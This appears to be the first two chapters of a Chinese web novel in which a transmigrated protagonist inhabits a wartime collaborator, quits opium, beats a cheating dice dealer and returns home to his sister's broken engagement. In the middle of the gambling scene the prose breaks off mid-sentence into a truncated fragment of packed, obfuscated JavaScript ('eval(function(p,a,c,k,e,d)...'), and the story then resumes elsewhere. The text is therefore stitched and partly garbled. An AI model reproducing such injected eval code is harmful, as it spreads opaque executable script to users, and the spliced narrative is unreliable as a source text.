《人渣他以身许国》 1. 第 1 章 宽敞明亮,却冰冷的没有一丝人情味的房间里,一名穿着墨蓝色西装的男子正蜷缩在真皮沙发里。 那张轮廓深邃的面容上显露出几分毫无血色的苍白,他的眸子微微垂着,看不清多少神色,只瞧得见身体的虚弱。 只是那样倚靠在沙发里,就好似已经用光了他全身的力气。 他不说话,安静又沉默。 倘若忽略掉他死死攥在一起的双手,以及那青筋遍布的额角的话,或许会让人以为他正在沉思。 但实际上的,他如今正在遭受着无尽的痛苦。 脑子里面仿佛有无数的钢针扎了进去,又被人用力的搅和起来,疼得他无声的抽搐。 可如此这般的痛苦,却依旧无法阻挡他的身体对于那一根烟枪的渴望,那种欲望就宛若是附骨之疽一样,牢牢的扒在他的心脏上,无论如何都去除不掉。 沙发前的矮几上,一根老式的烟枪正静静地放在那里,青年竭尽所能地控制着自己不往那上面看去,可那不大的烟斗中散发出来的味道,却还是透过空气丝丝缕缕地钻进了他的鼻腔里。 终于…… 青年似是忍受不住了。 他挣扎着起身,伸出右手试探性的去够那根烟枪,却偏偏又用左手按住了右手不让自己去取。 两相抵抗间,那根烟枪滚落在了地上,青年也重重地倒了下去,彻底没了呼吸。 可过了半晌,那青年紧闭着的眼睫却微微颤了颤,随即向上掀开了来。 沈听肆刚刚睁眼,尚未来得及打量一下自己身在何处,浑身上下传来的剧痛就让他不由得闷哼了一声,沙哑虚弱的仿佛是一个行将就木的老人。 【宿主,宿主,你怎么样?还痛不痛?】9999第一时间就屏蔽了沈听肆的痛觉,随后又急急忙忙的询问出声。 【好多了。】 阵痛的感觉消散,身上却又传来了一股恍若来自灵魂深处的疲惫感觉。 沈听肆站起身,走到沙发上坐下,【先把剧情传过来吧。】 无论何时何地,沈听肆都不愿意做一个睁眼瞎。 【好嘞好嘞,】9999连忙应声,【检测到宿主已到达目标位面,剧情加载中……】 这个世界的故事背景是在沈听肆上个任务世界的千年之后,虽然时代发生了巨大的变化,人们的生活习惯也截然不同,可却依旧贯彻着丛林法则那样的弱肉强食。 这个故事的主线剧情也是围绕着国仇家恨,保家卫国进行。 但在时代的洪流里面,每个人都是那般的渺小,那般的微不足道。 夏国是一个拥有着五千年光明灿烂的历史的泱泱大国,可因为前朝废帝闭关锁国几百年,这就导致在其他的国家科技创新,国内发生翻天覆地的变化的时候,夏国依旧停留在从前落后的水平。 落后就要挨打,贫穷就要挨饿。 随着国家与国家之间的差距越发的大,那些先进的国家为了进一步的发展科技,为了尽可能的掠夺资源,就将目光投向了其他落后的国家。 在世界的东方,有一个十分古老的农业国家,虽然它被其他国家远远的甩在了身后,但它所拥有着的广袤的土地和极其丰富的种种资源却是一个不争的事实。 如此一只肥硕的小肥羊,又没有很高的武力为之保护,它很快就成为了那些先进大国肆意欺凌的对象。 大批量的外国人乘着飞机,坐着船只来到了夏国的土地上,在带来了先进的科技水平的同时,他们也开始侵略夏国的国土,奴役夏国的国民。 而在这些侵略者当中,则是以夏国东南方向的一个岛国为最。 东瀛人在夏国的土地上烧杀抢掠,无恶不作,更可恨的是,他们明明犯下了滔天罪行,还偏偏要用建立“大东亚共荣圈”来掩盖他们的行为。 随着越来越多的侵略者国家踏上夏国的领土,夏国彻底的被拉入到了时代的洪流当中,无论是金字塔顶层的那些王公贵族,还是生活在社会底层的困苦人民,几乎都已经看不见了前路。 这个世界人民的识字率不到百分之二十,平均寿命更是不足三十五。 疾病,战争,天灾,人祸,压迫,军阀……整个国家一片黑暗,正直勤劳的人没有出路,剥削和压迫下只剩苦难。 但夏国人自古以来就拥有一股不服输的精神,列强抹不平他们的傲骨,高科技锤不断他们的脊梁,哪里有压迫,哪里就有反抗。 但是,由于科技水平的缘故,即便夏国人从未停止过反抗和斗争,他们还是在这场较量当中被压着打。 而且不同于其他国家毫不掩饰的掠夺行为,东瀛人则是要聪明的多,他们知道想要把这样一个庞大的国家彻底的吞吃入腹,绝对不是一朝一夕之间可以完成的事情,所以他么选择了从人心入手。 他们率先寻找那些贪生怕死的朝堂官员,然后把他们打造成属于自己的傀儡,由上到下的去侵略夏国人。 其次,他们还从底层人民当中发展了属于自己的爪牙,给予他们丁点的好处和利益,就可以让那些人为他们所用,自发的替他们寻找出隐藏在民众当中的那些反抗者们。 沈听肆穿越的这个时间,东瀛人已经入侵夏国多年了。 此时军阀混战,反抗军们四下串联,夏国大面积的领土都被吞并,形成了一个又一个仿佛盘踞在人身体表面上的毒疮一样的殖民地。 外国人在这片领土上耀武扬威,而原住民夏国人却变成了他们口中最为低等的“只/那/人”。 现在夏国国内的势力主要分为三大阵营。 一是拥有着一大批学过先进思想的学生的蓝党,这群人当中的将领基本上都是出国留过洋的,他们将从国外学到的先进思想纳入进来,用到自己国家的身上,以此来反抗那些侵略者。 师夷长技以制夷,说的就是如此了。 第二个阵营则是由民间自发的组织而成的红党,这群人绝大部分都是大字不识几个,面朝黄土背朝天的农民,是因为侵略者们实在是太过分,逼得他们几乎快要生存不下去了,所以才会奋起反抗。 第三个阵营是由世家大族,名门望者所组成的军阀,这群人把握着夏国绝大部分的资源,手里握着兵马却偏安一隅。 在列强们要侵占夏国的领土的时候,他们也会出手抵抗,但如果列强们提出的条件足够让他们动容的话,他们也会直接让出一半的领土来。 这群人就像是墙头草,只要不涉及到他们的利益,他们就可以最大限度的给侵略者们让路。 原主傅青隐,家庭也算是显赫,在前朝那个封建帝制还未亡故的时候,傅青隐的祖父是一个三品大员,家里面颇有些资产。 无论东瀛人实际上做了些什么,他们还是非常在乎名声的,所以对于这些前朝的贵族们,全部都采取了拉拢的策略。 就算拉拢不成,也能够确保对方不会为着反抗军做事。 因着这一层关系,再加上傅青隐又是家中的长子,自小可以说是锦衣玉食的长大,且每一个人生阶段都有着名师的教导,甚至还出国留了洋,成为了先进的新青年。 就在这种内忧外患的情况下,原主傅青隐留学归来,在北平大学成为了一名教国语的老师。 这其中最让傅青隐喜欢的,是身为男主的温承松,身为女主的方槿,以及男二乐倾川。 虽说是他们的老师,但实际上傅青隐也不过是二十多岁的年纪,和这些大学生们差不多大,教书不过短短半个月的时间,就已经和他们打成了一片。 几个怀揣着美好愿景的年轻人,以为凭借自己的能力就可以救国,写了许许多多试图唤醒麻木的国人的文章,甚至还组织了一场又一场的大学生游行活动。 可始终都没有用。 他们的小打小闹落在那些东瀛士兵的眼中,都不过是在挠痒痒一样。 一次,说是有红党的间谍藏进了北平大学里,东瀛人将整个学校所有的师生全部都聚集在了一起,拿着那最先进的枪炮对准他们。 说只要他们不讲述出那个红党的藏身所在地,就要将整个大学里所有的老师学生全部都给枪杀了。 这个时候人人自危,但他们都是接受了高等思想的新青年,知道一时的妥协根本换不来永久的平安,一旦这一次,他们按照东瀛人的意愿供出了那名红党,那么以后就会没完没了的面对无止境的威胁。 就在大家耿直了脖子,想着大不了一死的时候,原主傅青隐,却叛变了。 他抛下了和他志同道合的同伴,放弃了那些视他为人生向导的学生,主动的供出了那名红党的藏身之处,成为了东瀛的走狗。 自此以后,信任他的同伴和学生们,有的在他的背叛下被发现藏身之所,带着孤注一掷的决心最终倒在了血泊;有的因为根本不存在的,莫须有的罪名戴上了手铐,被压到军事法庭宣布死亡;有的东躲西藏,只为见他一面寻求真相,却最终被他出卖,付诸了生命。 那个曾经站在三尺讲台上,试图从一群豺狼虎豹里找到一条通往胜利之路的老师,成为了背叛自己祖国的最大叛徒。 那张素来坚定无比的脸上早已变换了相貌,在无数人的注视下露出谄媚的笑容,跟在东瀛官员的身边,卑躬屈膝的像是一条狗。 就这样一个出身贵族,读了二十多年书,企图改变这个腐朽的国家的青年,变成了心怀异志,贪生怕死,为了那么一些的蝇头小利,就不顾家国大义的奸人。 夏国最终还是独立了出来,在一批又一批先辈抛头颅洒热血的带领下,经过了十数年的反抗,将那些入侵者赶了出去。 只不过这片地方终究还是落下了满目的疮痍,衰败的像是一个垂垂暮年的老人。 如此这般,就需要有一件足够有影响力的事情来振奋所有民众的内心。 于是,傅青隐这个最大的叛徒,就被押上了审判台。 他被宣判的那一日,似乎全北平的民众都赶来参观,他们想要亲眼目睹这个汉奸叛徒,落得尸首分离的下场。 在无数人愤怒的目光中,傅青隐被施以绞刑。 经历过上个世界,沈听肆已然是不会全然信任这所谓的剧情了,毕竟傅青隐若是当真叛变,为何不与其他的叛徒一样,在东瀛的人撤离的时候跟着一起走呢? 他留下来,面对的就是必死的结局。 这样一个受过高等教育的人,不会不明白。 沈听肆轻轻叹了一声,果不其然因为上个世界是新手任务吗?这个世界的任务似乎变得略微有些艰难。 他将自己的整个身体都倚靠在沙发里,抬手揉了揉阵阵发闷的太阳穴。 9999屏蔽了这具身体的痛觉,可沈听肆还是觉得浑身难受不已,全身疲惫无力,一阵一阵的冒着虚汗,而且浑身上下的每一个细胞当中都好似有无数的蚂蚁在爬来爬去,那种来自灵魂深处的痒,让他恨不得将自己全身都挠得鲜血淋漓。 沈听肆低头看了一眼那根滚落在地上的烟枪。 当初傅青隐叛变,为了取得东瀛人的信任,可是足足吸食了十倍的大烟。 虽然沈听肆是第一次来到如此一个现代世界,但对于这个大烟带来的作用,他可是再清楚不过了。 毕竟在上个世界里,他就是通过明远道长制作类似于这种大烟的药丸,才取得的老皇帝最终的信任。 但与明远道长制作出来的药丸不同的是,这种大烟的效果更加的好,带来的副作用也更加的大。 那种空虚,渴望的感觉,让沈听肆都快要恨不得伸手把自己的心脏给掏出来。 屋外的阳光明亮又刺眼,在沈听肆的脸上投射下交错的光影。 他缓缓起身,捡起地上掉落着的那根烟枪,烟斗里面盛放着的褐色的粉末在白炽灯的照耀下,显得格外的漂亮迷人,就像是被切碎了的巧克力一般,散发着一股甜腻的诱人的气息。 只可惜……越是美丽的东西,越会要人的命。 别看这只是小小的一管,却足以摧毁一个人的理智,让他上瘾,让他留恋,让他变成一个彻头彻尾的怪物。 当它被放置在眼前,散发出丝丝缕缕诱惑气息的时候,应当没有任何一个人能够抵挡得住。 可沈听肆却只是轻轻皱了皱眉,然后随意地将烟斗里的烟丝倒出来,扔进了垃圾桶。 丝滑如巧克力一般的褐色的烟丝,骤然间失去了禁锢,很快地流淌进桶底。 因为那烟丝实在是太过于轻巧,在被沈听肆倒进垃圾桶里的时候,有不少都被清风给吹的飘在了半空当中,眨眼之间,整个房间里面都好似涌上了那股大烟的味道。 沈听肆一下子怔住了。 他这才发现,这大烟好似并没有办法那样轻而易举的被处理掉。 一旦被火烧,烟味漂浮的到处都是,那么到时候这府里的男女老少,恐怕都得被迫吸上几口。 沈听肆沉默了一瞬,走到一旁拿起了桌子上面的茶壶,随后将茶壶里的茶水又尽数倒进了垃圾桶里去。 那些烟丝在触碰到茶水的一瞬间,冒起了阵阵白烟,仿佛是一个被困于囚笼之中的人,在奋力挣扎着一样。 但他终究也只能做些无用功了。 当那些白烟彻底消散,垃圾桶里的那些烟丝也彻底的失去了它的效用。 “来人。”走到门口的青年轻轻唤了一声。 伺候的婢女从角落里走出,“少爷。” 沈听肆抬手指了指房间里的那个垃圾桶,“拿出去清理了。” “好的,少爷。”婢女顺从的应下,从始至终都是乖巧无比,甚至不敢抬头看沈听肆一眼。 虽然现在已经不是封建社会了,但傅家祖上一直都是这么过来的,不仅住在北平的四合院里面,就连各种装饰摆设,甚至是连伺候的人都和从前别无二致。 若不是因为现在时代变了,沈听肆现在穿的这具身子说不定还要留着辫子,穿马褂呢。 婢女的动作非常的迅速,不消片刻的时间,垃圾桶里被水浸泡后失去效用的烟丝就已经被处理的干干净净。 若不是因为房间里还依稀残留着那股似有若无的诱惑味道,恐怕不会有任何一个人发现那大烟的存在。 沈听肆走出自己的院子,守在门口的一个中年男人循声看了过来。 他身上穿着一件墨绿色的军装,只不过肩膀上并没有军衔,很明显的,他只不过是一个普普通通的士兵而已。 然后,就是这样一个平庸简单,没有军衔的士兵,却对沈听肆露出了鄙夷的神色,“呦,傅少爷可是抽完大烟了?” 果真不愧是最贫穷的夏国出来的人,如此这般的经不住诱惑,不过是一种侵扰人心智的玩意,就已经让他如此的上瘾,如此的甘之如饴为东瀛卖命。 他可是见过那种吸食完最高纯度的大烟后烟瘾发作时的人的样子。 即便是来自他们东瀛的最强壮的士兵,在得不到大烟补充的时候,也会涕泗横流,丑陋至极。 那似乎好像还是一个大队长,平日里在下属的面前高高在上,不可一世。 可一旦药瘾发作了起来,那可就所有的尊严和体面都不要了,跪在地上打滚哀求更是常态,甚至还有实在受不住大小便都失禁的。 沈听肆不过区区一个夏国的落后人,即便如今面儿上看起来人模狗样,想必刚才在屋子里面也定然是狼狈不堪的吧? 真是可惜,他没有见到沈听肆的那幅丑态呢。 不过也没关系,男人在心中思索了一番,开始给自己重新找乐子。 虽然他这次过来是有任务在身,但这也并不妨碍他让自己的生活变得有趣一些。 中年男人挤眉弄眼的看着沈听肆,阴阳怪气的开口道,“傅少爷,这当叛徒的滋味不知究竟是怎么样的?” “不妨你给我说道说道?” 说完这话,男人的心中顿时升起了一股快感,笑意盈盈地等着沈听肆破防。 但结果就是沈听肆掀起眼帘,淡淡的目光扫过那张因为过于得意而变得有些格外扭曲的脸,“这么想知道?” “那不如你也叛变一下得了。” 沈听肆十分好心的提醒,“如果你需要帮助的话,我可以帮你联系夏国的官方。” 那男人瞬间被激怒,瞳孔都有些放大了起来,“你在胡说八道些什么?!” “我什么时候说过我要叛变了?!” 他对他们的国王陛下绝对的忠诚,誓死效忠,才不会像这些下等的夏国人一样,稍微给点好处,就摇着尾巴,屁颠屁颠的来了。 “哦……”沈听肆发出一声感叹,随即又问道,“可如若你没有想要叛变的心,那又为何想要得知当叛徒的滋味?” “如果你实在想知道的话,我可以将你的请求转达给平川大佐,想必他是不吝帮你实现愿望的。” 沈听肆的嗓音中没有什么起伏,就好似在叙述着一件最为普通不过的事情。 可男人却有些离奇的愤怒,挥舞着拳头就直接砸了过来,“你敢!” 然而,出乎男人意料的是,他的铁拳并没有打在沈听肆的脸上。 沈听肆攥住了他的手腕,顺着巧劲轻轻一按,男人便痛得嗷嗷直叫了起来,“松……快松开……” “啧,”沈听肆唇边挂起一抹嘲讽的笑,松开了男人的手,“还真是弱的可以。” 就这也敢自诩自己是全世界最为强壮的士兵? 那男人疼得呲牙咧嘴的,拼命的甩着胳膊,即便心里气愤的要死,却再也不敢像刚才那般的放肆,“对不起,少爷,是我刚才莽撞了。” 沈听肆勾唇浅笑,“不客气。” 反正也没打算原谅他。 “说吧,你找我有什么事?” 虽然因为等待了太长的时间,这就导致中年男人的心情有些暴躁,但此时他却不敢再做些什么,只是恭顺的说明了自己的来意,“最近我们抓到了一些组织反抗东营的大学生们,听说他们的头目温承松曾经是你的学生,我们需要你到监牢里去认一认,把温承松给揪出来。” 沈听肆点点头,“可以,什么时间?” 那中年男人乖巧的回道,“明日早晨八点。” “放心,明日我会准时到的。”沈听肆抬手轻轻拍了拍那中年男人的肩膀,那中年男人却以为是沈听肆要对他动手,吓得直接打了个寒颤。 沈听肆勾唇浅笑,“这么害怕做什么?我又不会吃了你。” 中年男人:…… 惹不起,再见。 沈听肆现在所居住的地方虽然明面上还是属于夏国的,但这一片已然成为了东瀛的殖民地。 当地的政府和官方全部都是东瀛的人。 沈听肆的这句身体的原主虽然投奔了东瀛人,也却没有任何的事物在身,他平日里做的最多的事情,就是和这些东瀛的士兵们混在一起。 喝酒,赌/博,以及吸食大烟。 淡淡的瞥了那男人的背影一眼,沈听肆自顾自的走了出去。 守门的李老头早已经对这一切见怪不怪了,看到沈听肆出门也只是淡淡的冲他点了点头。 外面的街道还算干净,只不过路上的行人全部都是行色匆匆的,其实只是经过这里也全部都不敢抬头,唯恐惹怒了里面的士兵。 毕竟,虽然联盟明令禁止了士兵不允许像普通的百姓开枪,可东瀛的士兵们一向横行霸道,再加上夏国确实势弱,就算是他们射杀了普通的百姓,也没人能替他们出头。 一整条街都很寂寥,时候正是夏天,碧绿的爬山虎爬了满墙,叶片随风摇曳,此时却没有人静下心来细细的欣赏这美丽的景色了。 一路走到街道的尽头,沈听肆终于听见了一阵喧闹的声音。 声音是从一栋看起来十分干净整洁的小楼里传出来的,可实际上,它内里早已经腐朽一片。 这里是整个北平最大的赌坊,也是原主傅青隐最常来的地方。 沈听肆走过去的时候,守在门口的门房冲他微微点了点头,“傅少爷,您今日来的似乎是有些晚了。” 沈听肆也应了一声,脸上露出一抹不好意思的神态来,“你也知道的,我爹管的严,我身上没有多少钱,要来这里不也得想个办法嘛。” 那门房深以为然,“确实是这样,傅少爷请。” 门房将门打开,喧闹的声音便更大了一些,上百名男男女女挤在里面,吵吵嚷嚷,嬉笑怒骂。 “开!开!开!我压大!”一名穿着长衫的男人早已经赌红了眼,白色的眼仁当中红血丝遍布,双眼睛仿佛是草原上饿了十天半个月的孤狼一样,死死的盯着桌上的骰子,恨不得将其吞进肚子里去。 “一一二,小,张老板,你又输了,”但随着庄家将扣在骰子上面的拿开,那名穿着长衫的男人立马抱头痛哭了起来。 “啊!怎么是小?!我就不信了,再来!” 他一巴掌重重的拍在了桌子上,声嘶力竭的呼喊着,“我肯定能赢回来的,胜败乃兵家常事,我下一把肯定能赢回来!” 但那庄家只是笑意盈盈的看了他一眼,“张老板,你这带来的钱都已经全部输光了,你就是再想翻盘,也得有些本金才行啊。” “我这件衣裳还值些钱,”长衫男二话不说脱下自己身上的长衫,重重地将其拍在了桌子上,露出自己骨瘦如柴的上半身,仿佛一头拉了磨的老牛一般,哼哧哼哧地喘着粗气,“够不够?!” 那庄家的眼睛眨了眨,似是有些迟疑,“你这衣服都旧了,根本值不了多少钱啊……” 就在此时,忽然从外面冲进了一个半大的小子,他紧紧地抱着长衫男的双腿,不停的哭诉着,“爹啊,你别赌了,家里的钱都要被你输光了,再赌下去,我们连饭都吃不起了……” “我求你了,你跟我回去吧,别赌了……” 可长衫男早已经堵红了眼,哪里还管得了这些,他一把将儿子推到了一边, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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看到沈听肆这般说,虽然没有直接让打手放了那名男童,但态度确实软和了下来,“那么傅少爷的意思是?” 沈听肆是嫌弃的看了一眼那个长衫男,皱了皱眉,“这样的穷鬼就没必要放进来了嘛,浑身上下也摸不出几个大洋来,看见他我都觉得晦气,把他赶出去吧。” 庄家自然是不愿意得罪这样一个大户的,很快就让打手们把那个长衫男轰出了赌坊的大门。 “不是,三爷,我能赢回来的,你再让我赌一局就一局!” 但无论长衫男如何苦苦哀求,那些打手们都死死的拦在门口不让他进来。 “至于你……”沈听肆看了那个男童一眼,庄家就让打手们把他放开了,“看你长的还有几分喜庆,过来给爷拎钱袋子吧。” 说着这话,沈听肆将装了大洋的袋子扔到了那名男童的手里。 男童从未见过这么多钱,重重的钱袋子都快要将他的胳膊给压弯了,但他也知道这些大洋不属于他自己,他乖巧的跟在沈听肆身后,不停的鞠躬道谢,“谢谢大爷,谢谢大爷。” 沈听肆自然而然的走过去,坐到了一个空位上,直接拿出自己一半的大洋压了上去,“不是要赌谁胜谁输吗?” “你们来不来?” 没人和钱过不去,在加上沈听肆十赌九输。 一些人一边在嘴里暗暗地骂着他是个冤大头,一边又拿起大洋开始重新下注。 沈听肆按照记忆中傅青隐的样子,垂着桌子不停的在嘴里喊着,“大!大!大!” 然而,事与愿违,当那庄家掀开骰盅以后,显示的数字是小。 庄家笑眯眯的拿走了沈听肆用来下注的大洋,略微有些得意的开口,“傅少爷今日好似运气不佳啊。” 沈听肆哪里听得他说这话? 立马又拿出钱袋子里剩余的大洋中的一半放了上去,“人不可能一辈子这么衰,我很快就能够时来运转了,我这次还压大!” 然而,这样的赌局,庄家都是会出老千的,怎么可能会让沈听肆就这样赢了大洋去? 果不其然,开出来的还是小。 沈听肆不信邪,再次压大,庄家继续开小。 一来二去的,沈听肆拿来的那沉甸甸的一袋子里的大洋都几乎已经快要输光了。 抱着钱袋子的男童非常不舍得看了一眼里面的大洋,随后小心翼翼的扯了扯沈听肆的衣袖,“大爷,要不咱们不赌了吧?” 这么多的大洋都不知道可以买多少吃的了,结果几下子就全部输了进去。 虽然不是他的钱,但他还是真的好心痛。 沈听肆想了想,直接把钱袋子里的大洋全部都倒了出来,一股脑的压了上去,“我就不信了,这最后一把我还压大!” 其他人自然是有样学样,他们下注的时候却纷纷选择了和沈听肆相反的一方。 毕竟之前沈听肆压了那么多次的大,却一次都没有赢过。 他们相信这一次沈听肆依旧不会赢,那么压了小的他们,就会赚的盆满钵满了。 那个庄家脸色不变,依旧笑眯眯的,“傅少也不改一下吗?确定还是压大?” 沈听肆已经完全沉溺进去了他所扮演的角色,十分不耐烦的催促道,“快点摇色子,我说压大就压大!你是不是想耽误我赢钱?” 庄家好似无奈的叹了一声,骰盅里的骰子摇的噼里啪啦的响。 就在他的骰盅落下的一瞬间,没人注意到桌子稍稍倾斜了一些。 庄家依旧自信满满的掀开骰盅,正想要开口说抱歉的时候,他脸色却突然沉了下来。 沈听肆看着骰子的数量,不由得笑了起来,“三,四,六!是大,我赢了!” 他无比兴奋的将桌子上所有的大洋都划拉到了自己这边,然后催促着身边的男童,“快点快点把钱袋子撑开,不要妨碍大爷我装钱。” 那男童都是愣了一瞬,才终于反应过来,“好嘞,好嘞。” 眼看着沈听肆将所有的大洋都装进了自己的钱袋子里,那庄家的脸色阴沉的都快要滴出水来了。 完全不知道是怎么回事,做了这么多年的庄家,摇色子究竟摇出是大还是小他心里门清,可他明明摇的是小来着,怎么揭开骰盅以后反而变成大了呢? 那庄家咬牙切齿的看着沈听肆,一句话几乎是从牙缝里面挤出来,“傅少爷,还要继续吗?” 沈听肆乐呵呵的开口,“不来了,不来了,今日份的运气已经用完了,明天再说吧。” 说着这话,他直接提着钱袋就要离开。 可那么多的大洋都被他装进了袋子里,那些输光了大洋的赌徒们,一个个的都下意识的赌住了沈听肆的去路,恨不得直接把沈听肆被拆吃入腹。 “傅少爷赢了这么多大洋就想走,是不是有些太过于不厚道了?” “是啊是啊,傅少爷,咱们继续来几把吧。” “傅少爷,今天运气这么好,一会儿说不定可以赢更多的。” 他们最多能做的也就只是对沈听肆叭叭几句,倒也真的不敢把他怎么样。 毕竟,沈听肆身份尊贵,而且还在东瀛人那里落了个虚职。 当然,赢了这么多大洋的沈听肆想走也没有那么容易就是了。 看着一群人凶神恶煞的堵在自己面前,沈听肆十分淡定的眨了眨眼,“怎么,你们想杀人越货不成?” 其中一个长得人高马大的男人瞪着一双大眼睛,怒气冲冲的开口,“你想走可以,把刚才赢的大洋,都给我留下来。” “你说这话倒是挺有意思的,”沈听肆不动声色地打量着对方,思索着将对方一下击倒的可行性,“我凭自己本事赚的,凭什么要还给你们?” 那名男人似乎是有所顾忌,即便气的发了狠,拳头都捏的嘎吱作响了,却始终没有对沈听肆动手,只是蛮横的挡住他的去路。 沈听肆悠悠叹了一声,“国有国法,家有家规。” 他的视线淡淡扫过那些挡路的人,“你们今天只要不弄死我,那我就向巡捕房举报去,聚/众/赌/博,无论如何,你们也要被关进去几天吧?” 说着,沈听肆浅浅一笑,“或许这个赌坊……也将不复存在?” “你敢!”那名身材壮硕的男人越发的气愤了起来,鼻孔微微扩张,像个水牛一样不断地喘着粗气。 人们私底下赌/博,其实是一个常态,只要没有人举报上去,就不会有事。 可一旦将这件事情拿到明面上来讲,他们可就要吃不了兜着走了。 那男人怒目圆视,“你要是敢说出去,你信不信我现在就弄死你?!” 沈听肆丝毫不受他的威胁,依旧十分淡定,甚至还直接扬起了脖子,露出了自己的大动脉来,“你想要动手?” “自然可以,我不反抗。” 壮硕男人:…… 他娘的,要不是因为我真的没有胆子弄死你,你还能在这里逼逼赖赖?! 见他只是发怒,却不动手,沈听肆首拂开了那名男人挡在面前的手臂,“既然如此,那就请让一让吧。” 众人气愤不已,可终究也无可奈何,只能眼睁睁的看着沈听肆拿着那么多的大洋大摇大摆的离开了去。 出了赌坊,沈听肆两个大洋扔给了一直跟着他的那个男童,“给你了,就当是你给我看钱袋子的报酬。” 男童只觉得手里的两个大洋无比的烫手,灼烧的他的手心都有些隐隐发疼。 这个世道想要赚钱,实在是过于艰难,男童平日里做一些送信卖报的活,一整个月下来的报酬也只有一个大洋而已。 可现在,沈听肆就如此轻而易举的给了他两个。 他从来不知道钱有这样的好挣。 男童诚惶诚恐的将大洋塞进裤子兜里,尊敬的对沈听肆道谢,“谢谢大爷。” 沈听肆点点头,“嗯,去吧。” 男童得了这话,飞奔着离开了。 这个男童一看就没有自保的能力,倘若沈听肆给他更多的大洋,说不定还会是害了他。 只希望这两个大洋,可以让他的生活稍微有所改善吧。 【哇!】回去的路上,9999惊讶万分,【宿主,你赢回来的大洋比原主赢的多多了耶。】 沈听肆心中顿感有些无奈。 9999好似变成了他的无脑吹? 毕竟原主只能凭感觉去压大压小,而他再看了几局以后明白了庄家出老千的套路,自然是可以随心所欲地控制骰子的大小。 若是这样他还赢不了,他可以直接吞大洋自杀了。 无论是在任何一个世界,钱都是最为重要的东西。 俗话讲,有钱能使鬼推磨,有了大洋,沈听肆才能做更多的事情。 只希望在他接下来薅羊毛的日子里,那个赌坊能够承受得住。 沈听肆回到傅家,可还没进门,就隐隐听到了几声女儿家的哭泣。 看门的李老头主动上前告知,“少爷,是二小姐的未婚夫方先生来了,但是……他是来和二小姐退婚的。” “看他的意思,好像是嫌弃缠了足的二小姐。” 2. 第 2 章 “缠足……” 门房里老头轻轻飘飘的两个字,却宛如一柄重锤一般,重重地落在了沈听肆的心上。 除了压在普通老百姓身上的侵略者以外,这似乎是这个时代的另外一种悲哀。 新旧思想交替,越来越多的年轻人出国留洋,增长见识,他们穿着洋装皮鞋,剪去了头上厚重的辫子,说着自己是新时代的新青年,向往着新社会,新改变。 可那些在此之前出生的女子,却好似被这个时代给抛弃了。 她们没有机会接受新的思想,她们依旧像封建时代时的那样,被圈养在高门大院里面,见不到外人,接触不到新的文化,等待着父母之命,媒妁之言,匆匆嫁给一个见了几面的男子,就此了然一生。 她们被困在了这个时代的洪流中,究其一生,也无法争脱出来。 就像是那些穿着洋装的年轻人们所说的,旧社会的封建女人,又怎么能够容得进去新时代呢? 9999也难得沉默了,自家宿主赚了大洋的喜悦劲转眼间飞到了九霄云外去。 它耷拉着毛茸茸的尾巴,那双蓝色的狐狸眼里面弥漫着一种从未有过的神采。 复杂,多变,似悲伤,似无奈。 沈听肆一步一步的从大门口踏进花厅。 这里的建筑是新式的,伺候的下人们是,桌上摆着的餐点是,每个人脑子里的思想也是。 但只有那个局促的,坐在红木椅子里,垂着头不说话的女子,依旧被禁锢在旧社会里。 她穿着一身红色的袄裙,因为坐着的缘故,裙摆上的褶皱层层散开,裙子上面绣着的艳丽的花朵好似也随之绽放了起来。 绣工很精致,一针一线都充斥着富贵的味道。 她的双手规规矩矩的放在膝头,就那样安静的坐着,不说话。 沉闷,无趣。 和一旁站在那里,穿着一身白色洋裙,脚上踩着高跟鞋的女子相比,她像是一个活在过去里的老怪物。 是原生同父同母的嫡亲妹妹,傅云禾。 一个从三岁开始就已经缠了足的小脚女子。 沈听肆走进来的时候,傅云禾从小定下婚约的未婚夫盛子昂正在慷慨激昂地说着自己对于傅云禾的不满。 “现在都提倡自由恋爱了,我心里真正喜欢的人是冉冉,我是绝对不会娶傅云禾的,你们死了这条心吧!” “我是绝对不会承认包办婚姻的!” “而且你们看看傅云禾的那双脚,扭曲,变形,丑的要命,甚至连站都站不稳,走路也跟龟爬一样,走的远了,还要抱娘抱着,看起来都要吓死人了!” 盛子昂在说着这话的时候,右手紧紧地牵着那名洋装女子阮泠冉的手。 两个人十指相扣,看起来格外的恩爱,防佛坐在这花厅里的傅家人是要拆散他们一对有情人的恶毒炮灰一样。 阮泠冉没有缠足,一双脚长的正正好好,精致的小羊皮做的高跟鞋穿在她的脚上,将她的脚型衬托的更加好看。 白皙的脚背就那样大喇喇的露在外面,还能够看到,因为足尖弓起而露出的经脉。 反观傅云禾的脚,虽然遮盖在了层层叠叠的裙摆之下,但却依旧能够看到那双脚的雏形。 不及一个小孩巴掌大小。 宛若三寸金莲一般。 过去常有人说,傅云禾的这双脚生的真的是好看极了。 可哪里是天生的呢? 不过是千万次的钻心的疼痛,硬生生折断了脚趾上的骨头,拿着长长的裹脚布,裹了一层又一层,强行包装出来的一双充满着畸形的脚罢了。 可这原本就是为了迎合那些男人。 只因他们喜欢小脚,他们觉得可爱。 可此时新思想的碰撞之下,这双脚却又变成了他们口中如弃敝履的东西。 新的思想,好似从未眷顾过这些旧时代的女子。 盛子昂高高的仰着脖子,将傅云禾斥责的一文不值,“我是绝对不会娶她的,如果你们要强硬的逼着我娶她,那她就做好准备守一辈子的活寡吧!” 这具身体的原主和傅云禾的身生母亲张婉容也是一双小脚。 此时的她听着这话,整个人难堪的恨不得立马找个地缝钻进去。 张婉容拿着手帕不停地抹眼泪,一边哭一边诉说,“怎么能就这样悔婚呢?你要是就这样退了亲,我们云禾可怎么办……” 她的一辈子就是这么过来的,所以她也要求自己的女儿这样。 在家从父,出嫁从夫,裹着小脚,伺候好丈夫和公婆,是刻在了她骨子里的。 此时她的丈夫傅烆不在家里,她的儿子也未曾归来,她整个人茫然又无措。 除了哭泣,没有任何别的办法。 可盛子昂既然对傅云禾没有心,怎么会在乎她这个连丈母娘都算不上的中年妇人的哭泣呢? 盛子昂气急败坏,“都说了,现在是新思想新时代了!你们怎么还把这种老旧的思想拿到这里来说?” “我退了婚事又能如何?她又死不了!” 傅云禾低着头沉默不语,宛如一个打扮精致的木偶,只等着主人对她发号施令。 张婉容则哭得更加大声了一些,“可你这就是在要云禾的命啊!” 